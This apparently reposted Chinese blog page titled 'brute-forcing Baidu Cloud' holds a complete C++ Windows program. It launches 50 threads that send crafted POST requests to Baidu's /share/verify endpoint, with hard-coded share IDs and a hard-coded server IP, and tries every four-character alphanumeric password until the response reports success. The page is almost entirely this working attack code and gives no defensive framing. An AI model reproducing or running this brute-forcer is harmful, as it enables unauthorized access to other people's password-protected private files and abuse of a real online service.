暴力破解百度云

来源:互联网 发布:python 文本挖掘 编辑:程序博客网 时间:2024/05/02 00:23
// CrackBaidu.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include <WinSock2.h>#include <Windows.h>#pragma comment(lib,"WS2_32")#pragma warning(disable:4996)class LMemTest{public:LMemTest(void){};~LMemTest(void){};static int memfind(const char *mem, const char *str, int sizem, int sizes){   int   da,i,j;   if (sizes == 0) da = strlen(str);   else da = sizes;   for (i = 0; i < sizem; i++)   {   for (j = 0; j < da; j ++)   if (mem[i+j] != str[j])break;   if (j == da) return i;   }   return -1;   }};char url[MAX_PATH*4] = {0};SOCKET tcpConnect(char *host, int port){SOCKET sock;sock = socket(AF_INET, SOCK_STREAM, 0);if(sock == INVALID_SOCKET)return sock;sockaddr_in sin;DWORD ip = inet_addr(host);sin.sin_addr.s_addr = ip;sin.sin_family = AF_INET;sin.sin_port = htons(port);if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR){closesocket(sock);return INVALID_SOCKET;}return sock; }char pwd[5] = {0};char p[] = {"0123456789abcdefghijklmnopqrstuvwxyz"};int p0=29,p1=0,p2=0,p3=0;volatile bool bFind  =false;CRITICAL_SECTION cs;void crack(LPVOID lp){//每个线程一个备份char urltmp[MAX_PATH*4] = {0};strcpy(urltmp,url);//每个线程只创建一个socket,防止资源浪费SOCKET S=tcpConnect("180.149.132.99",80);while (1){if (bFind==true) break;//////////////////////////////////////////////////////////////////////////EnterCriticalSection(&cs);pwd[0] = p[p0];pwd[1] = p[p1];pwd[2] = p[p2];pwd[3] = p[p3];//记录当前任务char tmpPWD[10] ={0};strcpy(tmpPWD,pwd);//合成下一个密码p3 ++;if (p3==36){p3=0;p2 ++;if (p2==36){p2=0;p1++;if (p1==36){p1=0;p0++;if (p0==36){bFind = true;printf("探测密码失败\n");}}}}LeaveCriticalSection(&cs);//////////////////////////////////////////////////////////////////////////urltmp[strlen(urltmp)-4] = '\0';strcat(urltmp,pwd);//发送失败,重新发送resend://发送密码数据int a = send(S,urltmp,strlen(urltmp) ,0);if (a<0){printf("--send-%d--%d--\n",a,WSAGetLastError());}//收取数据char buf[10* 1024] = {0};int b= recv(S,buf,10* 1024,0);if (b<=0){printf("--recv-%d--%d--\n",b,WSAGetLastError());//对方关闭,咱也关闭closesocket(S);//重新建立连接S=tcpConnect("180.149.132.99",80);goto resend;}////////////////////////////////////////////////////////////////////////////打印错误码EnterCriticalSection(&cs);if (!bFind){//防止收到数据大小printf("发送数据大小为%d - ",a);printf("收到数据大小为%d - ",b);printf("正在探测密码:%s - ",pwd);char erro1[] = {"errno"};int c2 = LMemTest::memfind(buf,erro1,b,0);char code[20] = {0};memmove(code,buf+c2,10);printf("错误码:%s\n",code);//查找密码char erro0[] = {"\"errno\":0"};int c = LMemTest::memfind(buf,erro0,b,0);if (c>0){bFind = true;printf("发现密码:%s\n",tmpPWD);}}LeaveCriticalSection(&cs);//////////////////////////////////////////////////////////////////////////}closesocket(S);}#define threadCount (50)int _tmain(int argc, _TCHAR* argv[]){WSADATA wsaData;WSAStartup(MAKEWORD(2, 2), &wsaData);InitializeCriticalSection(&cs);strcpy(url,"POST /share/verify?shareid=3639474693&uk=2620558481&t=1444205454734&channel=chunlei&clienttype=0&web=1 HTTP/1.1\r\n");//strcpy(url,"POST /share/verify?shareid=2479104888&uk=1243761142&t=1444207629757&channel=chunlei&clienttype=0&web=1 HTTP/1.1\r\n");strcat(url,"Accept: */*\r\n");strcat(url,"Connection: keep-alive\r\n");strcat(url,"Origin: http://pan.baidu.com\r\n");strcat(url,"X-Requested-With: XMLHttpRequest\r\n");strcat(url,"Referer: http://pan.baidu.com/share/init?shareid=3639474693&uk=2620558481\r\n");//strcat(url,"Referer: http://pan.baidu.com/share/init?shareid=2479104888&uk=1243761142\r\n");strcat(url,"Accept-Language: zh-CN,zh;q=0.8\r\n");strcat(url,"Content-Type: application/x-www-form-urlencoded\r\n");strcat(url,"Host: pan.baidu.com\r\n");strcat(url,"Content-Length: 8\r\n");strcat(url,"Cache-Control: no-cache\r\n");strcat(url,"\r\n");strcat(url,"pwd=0000");HANDLE hthread[threadCount];for (int i=0;i<threadCount;i++){hthread[i] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)crack,NULL,0,NULL);}WaitForMultipleObjects(threadCount,hthread,true,INFINITE);char c = getchar();Sleep(1000*60*60*24);return 0;}

0 0
原创粉丝点击